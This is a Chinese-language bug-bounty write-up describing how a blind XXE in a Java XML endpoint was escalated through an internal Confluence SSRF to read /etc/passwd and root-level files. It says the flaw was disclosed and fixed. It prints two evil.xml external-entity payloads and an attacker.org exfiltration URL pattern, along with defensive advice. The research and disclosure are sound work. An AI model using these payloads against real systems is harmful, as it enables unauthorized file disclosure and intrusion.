*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
在最近的漏洞众测过程中,作者测试XXE漏洞时,遇到了一个有意思的XML服务端。该服务端在网上基本没什么记录和参考,唯一能找到相关的,只是一篇2016年初,某开发人员应用该服务端遇到困难时,寻求帮助的发贴。在以下文章中,作者分享了测试该服务端时的一些思路,最终,作者利用了一个中危漏洞的Blind XXE,发现了可读取root级别文件的高危漏洞,成功实现了系统提权。
文中刻意着重描述了测试过程中遇到的各种错误消息,希望对读者有所启发和帮助。另外,由于是邀请测试,出于保密,其中所有涉及服务端的可识别信息都已了作了隐匿处理。
一开始的发现
起初,引起我注意的是一个响应XML格式消息和404状态的服务端,如下:
但当我把请求方法更改为POST,且在其中添加了一个 Content-Type: application/xml 这样的头,和一个无效的XML内容体,之后,响应消息多了一些有意思的变化,看似有点XXE的意思:
然而,当添加进入的是一个正常结构的XML文档之后,响应消息有了更进一步的变化:
请注意,服务端显然希望提供密码或凭据信息才能与其进行正常交互,遗憾的是,当前项目没有任何文档提及凭据的具体形式,而且我也没找到任何有效的凭据信息。确实,之前我做过的一些XXE利用方式需要与目标服务端进行某些形式的“有效”交互,才能成功起效。所以,现在看来,没有凭据,想要深入利用XXE漏洞就非常难了。
但是,虽然如此,我们也不必灰心。由于XML文档结构包括XML声明、DTD文档类型定义和文档元素信息,所以这里我们可以来测试一下 DOCTYPE 定义,看看服务端是否完全禁用了外部实体的应用,或者试试其它有什么响应。所以,我又接着构造了以下包含DOCTYPE,且利用了Collaborator模块进行带外测试的请求,并有了相应响应:
服务器无法对您的请求做出及时响应。!?之后,我又仔细在Burp Collaborator中的检查了相关交互,迫切希望其中能发现一个传入的HTTP请求,但是只看到了以下画面:
非常不幸,服务端貌似可以解析我的burpcollaborator.net代理域名,但却没有出现HTTP请求,而且服务端在几秒之后出现了500的超时响应状态。
这看似是服务端防火墙的作用了,我继续针对其它端口进行出站HTTP请求测试,但都无功而返。所有端口都会显示超时,也就是说目标服务端部署的防火墙能成功阻断所有非正常出站流量,安全防护做的还不错嘛!
实现 Blind XXE
基于以上发现,我捣鼓一通,测试发现了一个问题,但还不太确定,我只有通过尝试访问一些本地文件、内部网络或相关服务,来证明它可能会是一个中危漏洞。
该漏洞问题的影响是,我可以用它来成功探测目标服务端上一些文件的存在性,如下:
响应消息说明了文件的存在可能,而且能被服务端的XML解析器正常打开读取,但由于文件内容不是一个有效的XML文档类型定义,所以解析器解析失败并抛出了一个错误。换句话说,服务端未禁用外部实体的加载,但我们却没看到任何输出信息,所以,从这个角度来说,这看似是一个Blind XXE漏洞。
此外,我们可以假设服务端运行的解析器是 Java 的 SAX解析器,因为从响应报错消息来看,它似乎和Java错误类 org.xml.sax.SAXParseExceptionpublicId 相关,这就有意思了,因为Java在XXE方面具备很多特性,之后我们会做讲解。
当我们构造访问的文件在服务端不存在时,其响应为:
OK,这看似是有用,但还不够说明问题。我在想,能不能利用这个Blind XXE漏洞开展一些对目标服务端的原始端口探测扫描呢?如下:
这种方法不错,可行的话证明我们可以枚举出目标服务端的内部服务,这虽然能反映些许问题,但还不是我想要的效果。这样的Blind XXE漏洞看似和Blind SSRF漏洞有些相同:可以发起对内部服务的HTTP请求,但却不能读取响应。
所以,我就好奇能不能用其它SSRF相关技巧来间接利用这个Blind XXE漏洞呢。先可以做的就是查看服务端的其它协议使用情况了,如https、gopher、ftp、jar、scp等等,虽然最终对这些协议的测试没有实质性的效果,但从服务端的错误响应消息中可以得到很多有用信息。如:
是不是很有意思,服务端能识别我们提供的使用协议,并做出错误响应。这个点可以先记下,以备后用。
因为和Blind SSRF漏洞的相似性,所以可以利用它来探测一些内部Web服务。由于这家公司和非常广泛多样的开发团队都有合作,并且在其Github开发文档中也涉及了大量形如x.company.internal样式的内部主机说明,我发现目标公司部署了如下的一些内部服务资源:
wiki.company.internal
jira.company.internal
confluence.company.internal
由于之前的防火墙阻断了我的出站流量,在这里,我想验证它是否会对内部服务的流量进行阻断,或是这些内部服务是否真的存在。
从以上响应结果来看很有意思,可以看到报错消息说明,我们请求的内部资源被服务端读取了,只被识别为错误格式。也就是说,内部资源的读取是被允许的,而且我们的请求也是有效的。
这就是厉害所在了,利用Blind XXE漏洞可以发起对目标系统内部Web服务的请求、枚举文件存在可能、枚举所有可能的运行服务。基于这些危害,我上报了漏洞。但当我周末出外旅行时,我却一直在思考这个漏洞,觉得应该还有其它深入发现的可能性。
盲人国里,独眼称王
经过一个周末的休整和思路调整,我决定对这个Blind XXE漏洞再继续深挖。尤其是,我意识到如果我能在目标服务端内部找到类似代理作用的主机,就可以把未做安全过滤的内部服务流量路由到外部来。
常来说,要从无法读取响应的Web应用中去发现漏洞相当之难,但好在,早前社区披露过一个针对Jira应用的SSRF漏洞,并已在多篇发文中提到过具体的利用方法。
为此,我急切地想利用这个方法来映证我在Github上发现的目标公司的Jira应用:jira.company.internal,构造的请求和对应的响应如下:
从响应消息中可以看到,可能是SSL验证方式出错导致了HTTPS请求有问题,另外,通常的Jira实例都是运行在8080端口之上的,那么,我们就换成HTTP,加上8080端口试试:
然后,我查看了 Burp Collaborator 模块的交互信息,并没什么发现,可能是服务端的Jira实例打了补丁或是禁用了存在漏洞的插件。之后,我漫无目的地在wiki.company.internal上去找SSRF漏洞,最后,我决定在confluence.company.internal上尝试一下和jira.company.internal相同的测试方法,只是我把测试端口换成了confluence应用的默认端口8090:
等等,这是什么?多了一个HTTP请求:
成功了!这样就可以通过confluence实例,绕过防火墙限制,把内部流量间接转向外部了。也就意味着,我们可以在上面进行一些经典的XXE攻击了。首先,我们构造出一个如下内容的恶意文件evil.xml,并把其托管在攻击者服务器上,希望最终能触发出有用的信息来。
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
让我们来仔细看看上面这个文件的具体定义:
1、把外部引用(这里是系统的/目录)加载到变量%file中来;
2、定义一个%ent变量,它只是起到一个穿插作用,目的在于编译第三个实体定义;
3、尝试在%file处访问资源,并将该位置的内容加载到实体的data中。
注意,我们希望上述第3方面的定义执行失效,因为%file处的内容将不会指向一个有效的资源位置,而只是会包含完整的目录内容。
现在,利用confluence.company.internal这个内部实例来指向我们的恶意文件evil.xml,并要保证其中的 %ent 和 &data 要能被访问到,以触发目录访问。太好了,响应最终列出了服务端的所有目录信息:
有意思的是,这显示了另一种从服务端获取错误响应的方法,即指定一个“missing”丢失的协议,而不是我们前面看到的无效协议。这也可帮助我们解决在读取包含冒号的文件时遇到的问题,例如用上述方法读取/etc/passwd时会导致以下错误:
换句话说,第一次出现在冒号:之前,是可以读取文件的,但冒号之后的东西就不能再被读取了。如何来绕过这一点并在响应消息中显示具体文件内容呢?那就是在文件内容之前加上一个冒号,这会导致出现“no protocol”错误,因为首个冒号之前的字段是空的,如未定义样式。所以,我们在攻击者服务器上的托管文件 evil.xml 可构造如下:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
最终的结果如下:
读取/root目录文件的结果:
就这样,针对目标公司系统,通过滥用不当的网络隔离措施、未打补丁的内部应用服务、未作权限配置的Web服务器和存在信息泄露的错误响应,我们就能从Blind XXE的中危漏洞,提权至可读取root级别文件的高危漏洞,实现了对目标系统的控制。
经验总结
红队:
如果发现有意思的东西,就继续深挖;
Java SAX解析器对URL模式的处理方式,存在一些提取有用信息的新方法。当前流行的Java版本都不允许将多行文件通过外部HTTP请求(如http://attacker.org/?&file)方式窃取导出,但却可能从一些错误响应消息甚至URL协议中,获得一些目标系统相关的多行响应信息。
蓝队:
积极修补内部服务系统存在的漏洞补丁;
不能简单地把内部网络认为是安全的,应该做不同信任级别的划分;
错误消息应该传入错误日志,而不是HTTP响应中;
身份验证并不能有效缓解防护如XXE漏洞的安全问题。
漏洞上报进程
2018.11.26 发现有意思的XML服务端
2018.11.28 上报Blind XXE漏洞,风险在于可列举文件、目录、内部网络位置和服务端口
2018.12.3 发现存在漏洞的内部Confluence应用服务器,上报测试PoC视频,演示了读取根目录文件
2018.12.4 公司漏洞修复并发放漏洞赏金
2018.12.6 申请对该测试的文章披露
2018.12.12 获得批准
*参考来源:honoki,clouds编译,转载请注明来自FreeBuf.COM